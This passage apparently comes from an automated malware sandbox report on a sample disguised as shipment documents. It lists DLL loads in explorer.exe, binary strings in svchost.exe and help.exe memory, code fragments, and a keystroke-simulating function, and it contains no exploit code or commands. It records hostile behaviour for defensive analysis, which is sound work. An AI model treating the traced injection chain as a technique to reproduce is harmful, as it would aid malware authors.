          Source: C:\Windows\explorer.exeSection loaded: usermgrproxy.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: appxdeploymentclient.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wlidprov.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: samcli.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: policymanager.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: msvcp110_win.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.cloudstore.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: winsta.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: sndvolsso.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: mmdevapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: devobj.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.staterepositoryclient.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: oleacc.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: appextension.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: textshaping.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.ui.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windowmanagementapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: textinputframework.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: inputhost.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: coreuicomponents.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: coreuicomponents.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windowscodecs.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dcomp.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: d3d11.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.cloudstore.schema.shell.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: resourcepolicyclient.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: d3d10warp.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dxcore.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: d2d1.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dwrite.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: xmllite.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: cldapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: fltlib.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dataexchange.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: tiledatarepository.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: staterepository.core.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.staterepository.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: explorerframe.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.staterepositorycore.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: mrmcorer.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: languageoverlayutil.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: bcp47mrm.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: twinui.pcshell.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wkscli.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wincorlib.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: cdp.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dsreg.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: thumbcache.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: edputil.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.immersiveshell.serviceprovider.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: onecorecommonproxystub.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: photometadatahandler.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: ntshrui.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: cscapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: linkinfo.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: ehstorshell.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: cscui.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: provsvc.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: twinui.appcore.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: twinui.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: pdh.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: applicationframe.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: rmclient.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: holographicextensions.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: virtualmonitormanager.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: resourcepolicyclient.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.ui.immersive.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: abovelockapphost.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: npsm.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.shell.bluelightreduction.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.web.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: mscms.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: coloradapterclient.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.internal.signals.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: tdh.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.staterepositorybroker.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: mfplat.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: rtworkq.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: taskflowdataengine.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: structuredquery.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: actxprxy.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: stobject.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wmiclnt.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: workfoldersshell.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.system.launcher.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.security.authentication.web.core.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.shell.servicehostbuilder.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.data.activities.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.internal.ui.shell.windowtabmanager.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: notificationcontrollerps.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.devices.enumeration.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.globalization.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: icu.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: mswb7.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: devdispitemprovider.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.networking.connectivity.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.ui.core.textinput.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: uianimation.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windowsudk.shellcommon.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dictationmanager.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: npmproxy.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: winhttp.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: mswsock.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: winnsi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dpapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dnsapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: rasadhlp.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: fwpuclnt.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: schannel.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: mskeyprotect.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: ntasn1.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: ncrypt.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: ncryptsslp.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: taskschd.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: pcshellcommonproxystub.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: cryptngc.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: cflapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: execmodelproxy.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: shellcommoncommonproxystub.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: daxexec.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: container.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: uiautomationcore.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: capabilityaccessmanagerclient.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: samlib.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: batmeter.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: sxs.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: inputswitch.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: es.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: prnfldr.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.ui.shell.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wpnclient.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dxp.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: shdocvw.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: syncreg.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: atlthunk.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: actioncenter.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wevtapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: audioses.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wscinterop.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wscapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: werconcpl.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: framedynos.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wer.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: hcproviders.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dusmapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: pnidui.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: mobilenetworking.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: netprofm.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: networkuxbroker.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: ethernetmediamanager.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wlanapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: storageusage.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: fhcfg.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: efsutil.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: mpr.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: netapi32.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dsrole.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.internal.system.userprofile.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: ncsi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc6.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: cloudexperiencehostbroker.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: credui.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dui70.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wdscore.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dbghelp.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: dbgcore.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wpdshserviceobj.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: portabledevicetypes.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: portabledeviceapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: cscobj.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: srchadmin.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.storage.search.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: synccenter.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: imapi2.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: ieproxy.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: bluetoothapis.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: bluetoothapis.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: settingsync.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: settingsynccore.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wpnapps.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: msxml6.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.ui.xaml.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windowsinternal.composableshell.desktophosting.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: uiamanager.dllJump to behavior
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
          Source: Window RecorderWindow detected: More than 3 window changes detected
          Source: Export Shipment Documents 72335.exeStatic file information: File size 1092621 > 1048576
          Source: Binary string: wntdll.pdbUGP source: Export Shipment Documents 72335.exe, 00000000.00000003.1444022587.00000000045B0000.00000004.00001000.00020000.00000000.sdmp, Export Shipment Documents 72335.exe, 00000000.00000003.1440621009.0000000004750000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1500842270.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1444202047.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1445947770.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1500842270.000000000399E000.00000040.00001000.00020000.00000000.sdmp, help.exe, 00000004.00000003.1500086455.00000000029E8000.00000004.00000020.00020000.00000000.sdmp, help.exe, 00000004.00000002.2709904609.0000000002EFE000.00000040.00001000.00020000.00000000.sdmp, help.exe, 00000004.00000002.2709904609.0000000002D60000.00000040.00001000.00020000.00000000.sdmp, help.exe, 00000004.00000003.1501711079.0000000002BB7000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: Export Shipment Documents 72335.exe, 00000000.00000003.1444022587.00000000045B0000.00000004.00001000.00020000.00000000.sdmp, Export Shipment Documents 72335.exe, 00000000.00000003.1440621009.0000000004750000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1500842270.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1444202047.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1445947770.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1500842270.000000000399E000.00000040.00001000.00020000.00000000.sdmp, help.exe, help.exe, 00000004.00000003.1500086455.00000000029E8000.00000004.00000020.00020000.00000000.sdmp, help.exe, 00000004.00000002.2709904609.0000000002EFE000.00000040.00001000.00020000.00000000.sdmp, help.exe, 00000004.00000002.2709904609.0000000002D60000.00000040.00001000.00020000.00000000.sdmp, help.exe, 00000004.00000003.1501711079.0000000002BB7000.00000004.00000020.00020000.00000000.sdmp
          Source: Binary string: help.pdbGCTL source: svchost.exe, 00000002.00000002.1500301030.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1500323144.0000000003212000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1500590168.00000000036A0000.00000040.10000000.00040000.00000000.sdmp, help.exe, 00000004.00000002.2698010994.0000000000470000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: svchost.pdb source: explorer.exe, 00000003.00000002.2325206022.000000001004F000.00000004.80000000.00040000.00000000.sdmp, help.exe, 00000004.00000002.2715096234.00000000032AF000.00000004.10000000.00040000.00000000.sdmp, help.exe, 00000004.00000002.2699334682.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2725318929.000000000A5BF000.00000004.80000000.00040000.00000000.sdmp
          Source: Binary string: help.pdb source: svchost.exe, 00000002.00000002.1500301030.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1500323144.0000000003212000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1500590168.00000000036A0000.00000040.10000000.00040000.00000000.sdmp, help.exe, 00000004.00000002.2698010994.0000000000470000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: svchost.pdbUGP source: explorer.exe, 00000003.00000002.2325206022.000000001004F000.00000004.80000000.00040000.00000000.sdmp, help.exe, 00000004.00000002.2715096234.00000000032AF000.00000004.10000000.00040000.00000000.sdmp, help.exe, 00000004.00000002.2699334682.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.2725318929.000000000A5BF000.00000004.80000000.00040000.00000000.sdmp
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
          Source: Export Shipment Documents 72335.exeStatic PE information: real checksum: 0xa2135 should be: 0x11212e
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004171D1 push ecx; ret 0_2_004171E4
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041D475 push eax; ret 2_2_0041D4C8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041D4C2 push eax; ret 2_2_0041D4C8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041D4CB push eax; ret 2_2_0041D532
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041D52C push eax; ret 2_2_0041D532
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0380225F pushad ; ret 2_2_038027F9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038027FA pushad ; ret 2_2_038027F9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038309AD push ecx; mov dword ptr [esp], ecx2_2_038309B6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0380283D push eax; iretd 2_2_03802858
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03801368 push eax; iretd 2_2_03801369
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037AEB1E push esp; retn 0000h2_2_037AEB1F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037AEB02 push esp; retn 0000h2_2_037AEB03
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037AE9B5 push esp; retn 0000h2_2_037AEAE7
          Source: C:\Windows\explorer.exeCode function: 3_2_0ECD2B02 push esp; retn 0000h3_2_0ECD2B03
          Source: C:\Windows\explorer.exeCode function: 3_2_0ECD2B1E push esp; retn 0000h3_2_0ECD2B1F
          Source: C:\Windows\explorer.exeCode function: 3_2_0ECD29B5 push esp; retn 0000h3_2_0ECD2AE7
          Source: C:\Windows\explorer.exeCode function: 3_2_10D729B5 push esp; retn 0000h3_2_10D72AE7
          Source: C:\Windows\explorer.exeCode function: 3_2_10D72B1E push esp; retn 0000h3_2_10D72B1F
          Source: C:\Windows\explorer.exeCode function: 3_2_10D72B02 push esp; retn 0000h3_2_10D72B03
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02D909AD push ecx; mov dword ptr [esp], ecx4_2_02D909B6
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024AD475 push eax; ret 4_2_024AD4C8
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024AD4CB push eax; ret 4_2_024AD532
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024AD4C2 push eax; ret 4_2_024AD4C8
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024AD52C push eax; ret 4_2_024AD532
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C5EB02 push esp; retn 0000h4_2_02C5EB03
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C5EB1E push esp; retn 0000h4_2_02C5EB1F
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C5E9B5 push esp; retn 0000h4_2_02C5EAE7
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_004772DE
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\help.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOX
